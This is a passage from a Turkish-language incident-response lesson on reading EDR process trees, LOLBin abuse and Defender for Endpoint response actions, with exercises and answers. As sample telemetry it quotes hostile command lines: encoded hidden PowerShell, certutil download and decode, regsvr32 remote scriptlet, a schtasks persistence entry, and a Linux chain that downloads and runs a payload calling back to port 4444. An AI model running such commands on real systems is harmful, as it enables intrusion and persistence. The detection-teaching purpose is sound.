Burada AMSI'nin değeri ortaya çıkar. Karartma ne kadar katmanlı olursa olsun, betik motoru sonunda açık kodu çalıştırmak zorundadır ve AMSI'ye o açık kod gider. Betik bloğu günlüğü (PowerShell 4104) de aynı nedenle çözülmüş metni gösterir. Komut satırında karartma, AMSI ya da 4104 kaydında açık metin: analist ikisini yan yana okur.
1) Açık: powershell.exe -NoProfile -File C:\Scripts\yedek_kontrol.ps1 2) Kodlanmış ve gizli: powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA... (Base64 çözülünce harflerin arasında boş baytlar: I.E.X. .(.N.e.w.-.O.b.j...) 3) cmd.exe içinde şapka işaretleriyle bölünmüş: cmd.exe /c p^o^w^e^r^s^h^e^l^l -n^op -w h^idden -e^nc SQBFAFgA...
Dikkat: Kodlanmış her PowerShell kötü değildir: bazı yönetim ve dağıtım araçları özel karakter sorunlarından kaçmak için -EncodedCommand kullanır. Kodu çözün ve okuyun; karar içerikten ve bağlamdan (ebeveyn, kullanıcı, host) çıkar, parametreden değil.
LOLBin'ler: telemetride kötüye kullanım nasıl görünür
Tablo, her aracın meşru işini ve kötüye kullanıldığında süreç, ağ ve dosya tablolarında bıraktığı izi verir. ATT&CK kimlikleri v20'de açılarak denetlenmiştir; LOLBAS projesinin her araç sayfası aynı eşlemeyi verir. Bunlar tespit için okunacak izlerdir, uygulanacak adımlar değil.
İki genel işaret her araç için geçerlidir. Birincisi ağ bağlantısı: rundll32.exe, regsvr32.exe, mshta.exe ve certutil.exe'nin internete bağlanması olağan iş akışında çok nadirdir; ağ tablosunda bu dört adın dış adrese ConnectionSuccess vermesi doğrudan av sorgusudur. İkincisi yeniden adlandırma: saldırgan aracın adını değiştirip başka bir klasöre kopyalarsa FileName değişir ama ProcessVersionInfoOriginalFileName asıl adı (örneğin CertUtil.exe) göstermeye devam eder.
| Araç | Meşru işi | Telemetride kötüye kullanım izi | ATT&CK |
|---|---|---|---|
| powershell.exe | Yönetim ve otomasyon | Office, tarayıcı ya da w3wp ebeveyni; -enc, -w hidden; indirme ile IEX bir arada; dış adrese bağlantı | T1059.001 |
| rundll32.exe | DLL içindeki bir işlevi çalıştırmak (Denetim Masası öğeleri gibi) | Kullanıcının yazabildiği yoldan DLL (AppData, Temp, Users\Public); uzantısı .dll olmayan dosya; argümansız çalışıp ağa bağlanma | T1218.011 |
| regsvr32.exe | COM DLL'lerini kaydetmek | /i: parametresinde bir web adresi ve scrobj.dll; regsvr32'nin dış adrese bağlanması | T1218.010 |
| mshta.exe | HTML uygulaması (.hta) çalıştırmak | Komut satırında web adresi ya da javascript:, vbscript: ifadesi; Office ya da tarayıcı ebeveyni | T1218.005 |
| certutil.exe | Sertifika ve sertifika deposu yönetimi | -urlcache ile birlikte -f ve bir web adresi (indirme); -decode, -decodehex (kodlama çözme) | T1105, T1140 |
| bitsadmin.exe | BITS aktarım işlerini yönetmek | /transfer ile dış adresten indirme; /SetNotifyCmdLine ile iş bitince program çalıştırma | T1197, T1105 |
| wmic.exe | WMI sorguları ve yönetim | process call create; /node: ile başka makineye; hedefte wmiprvse.exe altında cmd ya da powershell | T1047 |
| schtasks.exe | Zamanlanmış görev yönetimi | /create ile /ru SYSTEM, /sc onlogon ya da minute; /tr içinde Temp yolu ya da kodlanmış PowerShell | T1053.005 |
Dikkat: Microsoft imzalı olmak burada bir avantaj değil, saldırganın tercih nedenidir. Defender for Endpoint'in 'Stop and Quarantine File' eylemi Microsoft imzalı dosyalara uygulanamaz; certutil.exe'yi karantinaya alamazsınız. LOLBin'e karşı müdahale, aracı değil onu çalıştıran zinciri hedef alır: indirilen dosya, kalıcılık kaydı, ebeveyn belge, hesap.
Bütünlük düzeyi, kullanıcı, imza, yol
Süreç ağacındaki dört alan, sürecin 'kim' olduğunu söyler. Her birinin olağan değerini bilmek, olağan dışını görmenin yoludur.
Bütünlük düzeyi (integrity level): Windows her sürece bir düzey verir ve düşük düzeyli süreç yüksek düzeyli nesneye yazamaz. Low, tarayıcıların korumalı alanında çalışan süreçlerdir. Medium, standart kullanıcı oturumudur; masaüstündeki programların çoğu buradadır. High, UAC ile yükseltilmiş yönetici sürecidir. System, servisler ve çekirdeğe yakın süreçlerdir. Defender for Endpoint bu bilgiyi ProcessIntegrityLevel ve ProcessTokenElevation alanlarında verir. Bir Word'ün altından High düzeyinde süreç doğması beklenmez; Medium'dan High'a geçişte bir UAC onayı ya da bir yetki yükseltme tekniği aranır.
Kullanıcı: süreç hangi hesapla çalışıyor? NT AUTHORITY\SYSTEM ile çalışan bir powershell.exe'nin ebeveyni bir servis ya da zamanlanmış görev olmalıdır. Bir kullanıcının hesabıyla bir sunucuda, o kullanıcının hiç oturum açmadığı saatte çalışan süreç bir kimlik bilgisi kötüye kullanımını düşündürür (T1078 Valid Accounts). Süreç uzak masaüstü (RDP) oturumunda başlatıldıysa süreç tablosundaki IsProcessRemoteSession ve ProcessRemoteSessionIP alanları oturumun nereden açıldığını söyler; olayı yapan süreç için aynı bilgi IsInitiatingProcessRemoteSession ve InitiatingProcessRemoteSessionIP alanlarındadır.
İmza: imzasız bir yürütülebilir dosyanın kullanıcı profilinden çalışması dikkat çeker, ama imza aklama değildir. LOLBin'ler Microsoft imzalıdır; çalınmış ya da kötüye kullanılmış sertifikayla imzalanmış zararlılar da vardır. İmza, 'bu dosyayı kim yaptı' sorusunu cevaplar; 'bu dosya burada ne yapıyor' sorusunu cevaplamaz.
Yol: Windows 1 dersindeki sahte süreç işaretleri (yanlış yol, yanlış ebeveyn, yanlış yazım, yanlış sayı) EDR'da alanlarla okunur: yol FolderPath, ebeveyn InitiatingProcessFileName, hesap AccountName. Sistem araçlarının 32 bit kopyaları için C:\Windows\SysWOW64 de olağan yoldur. Yeniden adlandırılmış bir sistem aracı ise ayrı bir alt tekniktir, T1036.003 Rename Legitimate Utilities: FileName ile ProcessVersionInfoOriginalFileName arasındaki fark onu ele verir.
| Gözlem | Olağan | Olağan dışı |
|---|---|---|
| svchost.exe yolu | C:\Windows\System32\svchost.exe | C:\Users\Public\svchost.exe |
| svchost.exe ebeveyni | services.exe | explorer.exe ya da WINWORD.EXE |
| powershell.exe bütünlük düzeyi (kullanıcı oturumunda) | Medium | High, öncesinde UAC onayı yoksa |
| rundll32.exe argümanı | shell32.dll,Control_RunDLL ... | C:\Users\a.yilmaz\AppData\Roaming\x.dat,Start |
| Dosya adı ile asıl ad | FileName certutil.exe, OriginalFileName CertUtil.exe | FileName update.exe, OriginalFileName CertUtil.exe |
Müdahale eylemleri: koşulları ve sınırları
Defender for Endpoint belgelerinde yazan koşullar, bir eylemin neden 'çalışmadığını' anlamak için bilinmelidir. Plan 1 lisansında yalnız elle yapılan dört eylem vardır: antivirüs taraması, cihazı yalıtma, dosyayı durdurup karantinaya alma ve dosya için engelleme göstergesi ekleme; inceleme paketi, uygulama kısıtlama ve canlı yanıt Plan 2 ister.
Yalıtım: cihaz Defender for Endpoint hizmetine bağlı kalır, izleme sürer. Windows 10 1709 ve sonrasında seçici yalıtımla (selective isolation) Outlook ve Microsoft Teams bağlantısına izin verilebilir. Tam tünelli bir VPN arkasındaki cihaz yalıtımdan sonra bulut hizmetine ulaşamayabilir; belge bölünmüş tünel (split tunneling) önerir. Hyper-V çalıştıran bir sunucuyu yalıtmak, üzerindeki bütün sanal makinelerin trafiğini de keser. Komut verildiğinde cihaz çevrimdışıysa yalıtım üç güne kadar yeniden denenir. Yalıtım yedi gün sonra kendiliğinden kalkar; analist daha önce kaldırmak istediğinde konsoldan yalıtımdan çıkarma (release from isolation) eylemini kullanır, ama bunu kalıcılık temizlenip host doğrulandıktan sonra yapar. Linux'ta yalıtım iptables ve ip6tables ister.
Durdur ve karantinaya al: çalışan süreçleri durdurur, dosyayı karantinaya alır ve kayıt defteri anahtarları gibi kalıcı verileri siler. Dosya Microsoft imzalıysa ya da güvenilen bir üçüncü taraf yayıncıya aitse uygulanamaz. Bir seferde en fazla 1000 cihaza uygulanır; daha fazlası için engelleme göstergesi kullanılır. Hedef cihaz üç günden uzun çevrimdışı kalırsa eylem ona ulaşmaz. Karantinadaki dosya MpCmdRun.exe -Restore ile geri yüklenebilir.
İnceleme paketi: Windows'ta paket şu klasörleri içerir: Autoruns (otomatik başlangıç yerleri), Installed programs, Network connections (etkin bağlantılar, ARP ve DNS önbelleği, ipconfig), Prefetch files, Processes, Scheduled tasks, Security event log, Services, SMB sessions, System Information, Temp Directories, Users and Groups, WdSupportLogs ve toplamanın özeti CollectionSummaryReport.xls. Pil düşükse ya da bağlantı ölçülüyse (metered) toplama başarısız olabilir.
Uygulama çalıştırmayı kısıtlama: bir kod bütünlüğü ilkesi uygulanır ve yalnız Microsoft tarafından verilmiş sertifikayla imzalı dosyalar çalışır. Saldırganın imzasız aracını durdurur; ama dikkat edin, LOLBin'ler Microsoft imzalı olduğu için bu kısıt onları durdurmaz.
| Eylem | Ne kazandırır | Bedeli | Ne zaman |
|---|---|---|---|
| Hostu yalıtmak | C2 ve yanal hareket kesilir, kanıt yerinde kalır | Kullanıcı ya da hizmet durur | Etkin saldırı, veri çıkışı, fidye yazılımı belirtisi |
| İnceleme paketi | O anki durumun kaydı | Zaman; durum değişirse eskir | Yok etmeden önce, mümkünse her zaman |
| Süreci sonlandırmak | Çalışan zararlı durur | Bellekteki kanıt kaybolur, saldırgan uyanır | Kanıt alındıktan sonra ya da zarar sürüyorsa |
| Dosyayı karantinaya almak | Dosya, süreç ve kalıcılık temizlenir | Yanlış dosyaysa iş uygulaması bozulur | Dosya doğrulandıktan sonra; Microsoft imzalılarda uygulanamaz |
| Uygulama kısıtlama | İmzasız araçlar çalışamaz | Kurumun imzasız iş uygulamaları da durur; LOLBin'leri durdurmaz | Yalıtım yapılamayan ama sıkılaştırılması gereken host |
Linux'ta EDR ana hatlarıyla
Linux uç noktaları, özellikle sunucular, aynı sorulara cevap ister: hangi süreç kimden doğdu, nereye bağlandı, neyi yazdı. Olay aileleri aynıdır, toplama yolu farklıdır.
- Toplama: Linux EDR'ları çekirdekten olay almak için eBPF (extended Berkeley Packet Filter), auditd ya da fanotify gibi mekanizmalar kullanır. Defender for Endpoint on Linux'ta varsayılan ek olay sağlayıcısı eBPF algılayıcısıdır ve çekirdek modülü gerektirmez; 101.2408.0000 sürümünden itibaren AuditD ek olay sağlayıcısı olarak desteklenmez. eBPF kullanılamazsa ürün Netlink'e döner: süreç olayları (exec, exit, fork) sürer, ama Netlink dosya sistemi olaylarını (yeniden adlandırma, silme) ve soket olaylarını desteklemediği için bunların bir kısmı kaçırılabilir.
- Şüpheli zincirler: bir web sunucusu ya da uygulama süreci (
nginx,httpd,php-fpm,java) altındash,bash,pythondoğması web kabuğunun Linux karşılığıdır.curlya dawgetile/tmpveya/dev/shmaltına dosya indirilip ardındanchmod +xile çalıştırılabilir yapılması,crontabya da/etc/cron.daltına yeni bir girdi yazılması (T1053.003 Cron),~/.ssh/authorized_keysdosyasının değişmesi aranır. Komut yorumlayıcısının kendisi T1059.004 Unix Shell olarak geçer. - Araç listesi: Linux'ta sistemin kendi araçlarının kötüye kullanılma biçimleri GTFOBins projesinde listelenir; LOLBAS'ın Windows için yaptığını yapar.
systemd (PID 1)
php-fpm: pool www (PID 2210) kullanıcı www-data
sh -c id (PID 30411)
sh -c curl -s http://203.0.113.77/k -o /dev/shm/.k (PID 30455)
curl (PID 30456) -> 203.0.113.77:80
sh -c chmod +x /dev/shm/.k && /dev/shm/.k (PID 30470)
.k (PID 30472) -> 203.0.113.77:4444Okumak bilmek değildir. Her antrenmanı önce kendiniz yapın, cevabı sonra açın.
Oku ve yorumla
Bir uyarının süreç ağacını okumak
Aşağıdaki ağaç bir EDR uyarısından alınmıştır. Beş soruyu sırayla sorun, her biri için gördüğünüz işareti yazın, olayı tek cümleyle adlandırın ve ilk üç müdahale adımınızı sırasıyla söyleyin.
Host: WS-014 Kullanıcı: EXAMPLE\a.yilmaz explorer.exe (PID 5120) OUTLOOK.EXE (PID 6032) WINWORD.EXE (PID 7440) ...\INetCache\Content.Outlook\K2X9\teklif_2026.docm cmd.exe (PID 8104) /c powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0A... powershell.exe (PID 8120) Medium imzalı: Microsoft ag: 203.0.113.45:443 ConnectionSuccess dosya: C:\Users\a.yilmaz\AppData\Roaming\msupd.dat FileCreated kayit: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RegistryValueSet "Updater" rundll32.exe (PID 8712) Medium C:\Users\a.yilmaz\AppData\Roaming\msupd.dat,Start ag: 203.0.113.45:443 ConnectionSuccessCevap: 1) Ebeveyn yanlış: Word bir komut yorumlayıcısı doğurmuş, belge de Outlook'un ek klasöründen açılmış bir .docm. 2) Komut satırı gizlenmiş: -nop, -w hidden ve -enc birlikte. 3) Kullanıcı a.yilmaz, Medium; yetki yükseltme yok, saldırı kullanıcının yetkisiyle sürüyor. 4) powershell ve rundll32 Microsoft imzalı ama rundll32'nin çalıştırdığı dosya kullanıcının yazabildiği AppData\Roaming altında ve uzantısı .dll bile değil. 5) Sonrası: dış adrese bağlantı, diske dosya, Run anahtarına kalıcılık kaydı, ikinci aşama olarak rundll32 (T1218.011) ve onun da aynı adrese bağlanması. Olay: makrolu ekle gelen oltalamadan başlayan, kalıcılık kurmuş bir bulaşma (T1566.001, T1204.002, T1059.001, T1547.001). İlk adımlar: hostu yalıt (C2 bağlantısı sürüyor), inceleme paketini topla ve mümkünse bellek görüntüsü al, sonra msupd.dat'ı karantinaya al, Run değerini sil ve aynı belgeyi alan diğer kullanıcıları e-posta kayıtlarından bul. rundll32.exe'yi karantinaya almaya çalışmayın: Microsoft imzalıdır ve suçlu o değil, çalıştırdığı dosyadır.Oku ve yorumla
Komut satırlarını yargılamak
Altı komut satırının her biri için 'olağan', 'incelenmeli' ya da 'güçlü şüphe' deyin ve kararınızın gerekçesini, varsa ATT&CK kimliğiyle birlikte bir cümleyle yazın. Ebeveyn parantez içinde verilmiştir.
1) rundll32.exe shell32.dll,Control_RunDLL desk.cpl (explorer.exe) 2) rundll32.exe C:\Users\Public\Libraries\cache.bin,DllMain (wscript.exe) 3) certutil.exe -verify -urlfetch C:\Sertifikalar\sunucu.cer (cmd.exe, kullanıcı: pki.admin) 4) certutil.exe -decode C:\Users\m.kaya\Downloads\fatura.txt C:\Users\m.kaya\AppData\Local\Temp\f.exe (EXCEL.EXE) 5) schtasks.exe /create /tn "OneDrive Sync" /tr "powershell -w hidden -enc JABjAD0A..." /sc onlogon /ru SYSTEM (cmd.exe) 6) regsvr32.exe /s ... /i:http://198.51.100.61/x.sct scrobj.dll (mshta.exe, kısaltılmış)
Cevap: 1) Olağan: Denetim Masası'nın görüntü ayarlarını açan, explorer'dan doğan bilinen kullanım. 2) Güçlü şüphe: rundll32 herkesin yazabildiği Users\Public altından, uzantısı .bin olan bir dosyayı çalıştırıyor, ebeveyni de bir betik motoru (T1218.011). 3) Olağan ya da en fazla incelenmeli: -verify ve -urlfetch bir sertifikanın iptal durumunu denetler, kullanıcı da PKI yöneticisi; indirme ya da kodlama çözme yok. 4) Güçlü şüphe: Excel'den doğan certutil bir metin dosyasını .exe olarak çözüyor (T1140); ardından f.exe'nin çalışıp çalışmadığı aranmalı. 5) Güçlü şüphe: meşru bir ürün adını taklit eden görev adı, oturum açılışında SYSTEM yetkisiyle gizli ve kodlanmış PowerShell (T1053.005, T1059.001, görev adı taklidi için T1036.004). 6) Güçlü şüphe: regsvr32'nin /i: parametresinde bir web adresi ve scrobj.dll, ebeveyni de mshta; uzaktan betik çalıştıran vekil zinciri (T1218.010, T1218.005).Oku ve yorumla
Bir av sorgusunun sonucunu yorumlamak
Bir analist, internete bağlanan vekil programları aramak için DeviceNetworkEvents tablosunda aşağıdaki sorguyu çalıştırdı. Sonuçtaki üç satırın her birini yorumlayın: hangisi hemen incelenmeli, hangisi büyük olasılıkla meşru, hangisi için ek bilgi gerekir?
DeviceNetworkEvents | where Timestamp > ago(1d) | where InitiatingProcessFileName in~ ("rundll32.exe", "regsvr32.exe", "mshta.exe", "certutil.exe") | where RemoteIPType == "Public" and ActionType == "ConnectionSuccess" | project DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, RemoteIP, RemotePort, RemoteUrl DeviceName Initiating Komut satırı Ebeveyn RemoteIP Port RemoteUrl WS-022 certutil.exe certutil.exe -urlcache -f http://203.0.113.9/a.txt ... EXCEL.EXE 203.0.113.9 80 WS-031 rundll32.exe rundll32.exe svchost.exe 198.51.100.4 443 PKI-01 certutil.exe certutil.exe -verify -urlfetch C:\pki\web.cer cmd.exe 192.0.2.80 80 crl.example.netCevap: WS-022 hemen incelenmeli: Excel'den doğan certutil bir web adresinden dosya indiriyor (T1105); indirilen dosya DeviceFileEvents'te aranmalı, Excel'in açtığı belge bulunmalı, host yalıtılmaya aday. WS-031 ek bilgi gerektirir ama kötü bir işarettir: argümansız çalışan bir rundll32'nin dışarıya 443 ile bağlanması, başka bir sürecin rundll32'yi boş bir kabuk olarak başlatıp içine kod enjekte ettiği durumlarda görülür (T1055); svchost ebeveyninin hangi servis olduğu, rundll32'nin yüklediği modüller (DeviceImageLoadEvents) ve hedef adresin itibarı incelenmeli. PKI-01 büyük olasılıkla meşru: sertifika sunucusunda certutil'in bir CRL dağıtım noktasına (crl.example.net) bağlanarak sertifika doğrulaması yapması olağan işidir; yine de bu sorgu her gün bunu döndürecekse PKI-01 için bir istisna yazılması ayar (tuning) konusudur.Kendi bilgisayarınızda
Kendi bilgisayarınızda ebeveyn zinciri
Windows bilgisayarınızda PowerShell açın ve yalnızca okuma yapan aşağıdaki komutlarla süreçleri ebeveynleriyle birlikte listeleyin. Kendi PowerShell'inizin ebeveynini bulun ve bir EDR süreç ağacının bu bilgiden nasıl kurulduğunu gözlemleyin.
- Süreçleri ebeveyn kimlikleriyle listeleyin:
Get-CimInstance Win32_Process | Select-Object ProcessId, ParentProcessId, Name | Sort-Object ParentProcessId | Format-Table -AutoSize. En üstte PID 0 (System Idle Process) ve PID 4 (System) görünür;smss.exe'nin ebeveyni 4'tür. - Kendi PowerShell'inizin ebeveynini bulun:
$p = Get-CimInstance Win32_Process -Filter "ProcessId=$PID"ve ardındanGet-CimInstance Win32_Process -Filter "ProcessId=$($p.ParentProcessId)" | Select-Object Name, ProcessId, CommandLine, CreationDate.$PIDo anki PowerShell'in kendi süreç kimliğidir. - Komut satırlarına bakın:
Get-CimInstance Win32_Process -Filter "Name='svchost.exe'" | Select-Object ProcessId, ParentProcessId, CommandLine. Yönetici olmadan açtıysanız bazı satırlarda CommandLine boş görünebilir. explorer.exe'nin ParentProcessId değerini alıp o kimlikle bir süreç arayın. Bulamazsanız ya da bulduğunuz sürecin CreationDate değeri explorer'ınkinden sonraysa bunun ne anlama geldiğini düşünün.
Cevap: Masaüstünden açtığınız PowerShell'in ebeveyni çoğunlukla explorer.exe'dir; Windows Terminal'den açtıysanız terminalin kendi süreci görünür. svchost.exe'lerin ebeveyni services.exe olmalı ve komut satırlarında -k ile bir servis grubu adı bulunmalıdır; yönetici olmayan oturumda başka hesapların süreçlerinin komut satırı okunamadığı için boş gelir. Oturum açılışında başlayan explorer.exe'nin ebeveyni, işini bitirip kapanan userinit.exe'dir: o PID'de süreç bulunmaz ya da Windows o kimliği sonradan başka bir sürece vermiştir. explorer çöküp ya da bir güncellemeden sonra yeniden başlatıldıysa ebeveyn olarak onu yeniden başlatan süreç görünür; bu yüzden sonuç makineden makineye değişebilir. Bunu, bulduğunuz sürecin CreationDate değeri çocuğunkinden sonra olduğu için anlarsınız; sonra doğan bir süreç önce doğanın ebeveyni olamaz. EDR bu tuzağa düşmez, çünkü ağacı süreç oluşturma anında kaydettiği olaylardan ve tekil süreç kimliklerinden kurar; canlı bir makinede ParentProcessId ile ağaç kurarken zaman damgasını denetlemek zorunludur.- Süreçleri ebeveyn kimlikleriyle listeleyin:
Oku ve yorumla
Müdahale kararı
Her durum için hangi müdahale eylemlerini hangi sırayla önerirsiniz ve hangisini bilerek önermezsiniz? Gerekçeyi bedel üzerinden verin.
A) Bir muhasebe dizüstü bilgisayarında PowerShell 10 dakikadır 203.0.113.45 adresine düzenli aralıklarla bağlanıyor; kullanıcı toplantıda. B) Üretimdeki tek web sunucusu WEB-01'de w3wp.exe altında whoami ve net group komutları çalışmış; son komut 40 dakika önce. C) Bir geliştiricinin makinesinde imzasız bir derleme aracının (build.exe) 'şüpheli davranış' uyarısı; araç şirketin kendi deposundan derlenmiş. D) Uyarıdaki dosya C:\Windows\System32\mshta.exe; analist onu karantinaya almak istiyor.
Cevap: A) Önce yalıt (etkin C2 var, kullanıcı makinede değil, iş kaybı küçük), sonra inceleme paketi ve bellek görüntüsü, ardından PowerShell'i başlatan zinciri bul, kalıcılığı ve dosyaları temizle. Süreci hemen öldürmeyin: kanıt gider, kalıcılık varsa geri döner. B) Web sunucusunu yalıtmak hizmeti durdurur; sistem sahibini ve olay müdahale sorumlusunu hemen bilgilendirin, inceleme paketini alın, web kabuğu dosyasını bulmak için w3wp'nin yazdığı dosyalara (DeviceFileEvents) bakın. Saldırgan etkin görünüyorsa ya da sunucu iç ağa açılıyorsa yalıtım kararı onayla verilir; seçici yalıtım ya da güvenlik duvarında kısıtlama ara yoldur. C) Önce doğrulayın: geliştiriciyle ve deponun derleme kayıtlarıyla aracın kökenini teyit edin. Doğrudan karantina bir iş sürecini bozar; meşruysa EDR'da belgelenmiş bir istisna, kuralı düzeltme konusudur. D) Önerilmez ve yapılamaz: Defender for Endpoint Microsoft imzalı dosyaları karantinaya almaz, alsaydı da Windows'un bir parçasını bozardı. Müdahale mshta'yı başlatan zincire ve çalıştırdığı içeriğe (web adresi, .hta dosyası, ebeveyn belge) yönelir.
Bu dersin 28 puanlanan sorusundan her seferinde karışık 20 tanesi gelir: çoktan seçmeli, senaryo, doğru-yanlış ve boşluk doldurma. Her soru bir kez cevaplanır ve açıklaması hemen gösterilir. Geçme ölçütü %80.
Yazarak cevaplanacak sorular
Bunlar puanlanmaz. Cevabınızı kâğıda ya da not defterinize yazın, sonra ölçütlerle karşılaştırın. Bir şeyi kendi cümlelerinizle anlatmak, bildiğinizi sandığınız yerdeki boşluğu gösterir.
Bir EDR uyarısı, bir kullanıcı bilgisayarında certutil.exe'nin çalıştığını bildiriyor. Bu uyarının meşru bir yönetim işi mi yoksa sistemin kendi araçlarıyla yapılan bir saldırı mı olduğuna nasıl karar verirsiniz? Hangi telemetri alanlarına bakacağınızı, hangi işaretlerin şüpheyi artırdığını ve saldırıysa müdahalenin neyi hedef alacağını anlatın.
EDR konsolunda dört müdahale eylemi var: hostu yalıtmak, süreci sonlandırmak, dosyayı karantinaya almak ve inceleme paketi toplamak. Etkin bir komuta kontrol bağlantısı olan bir kullanıcı bilgisayarında bu eylemleri hangi sırayla kullanırsınız, neden? Aynı durum üretimdeki tek web sunucusunda olsaydı kararınız nasıl değişirdi?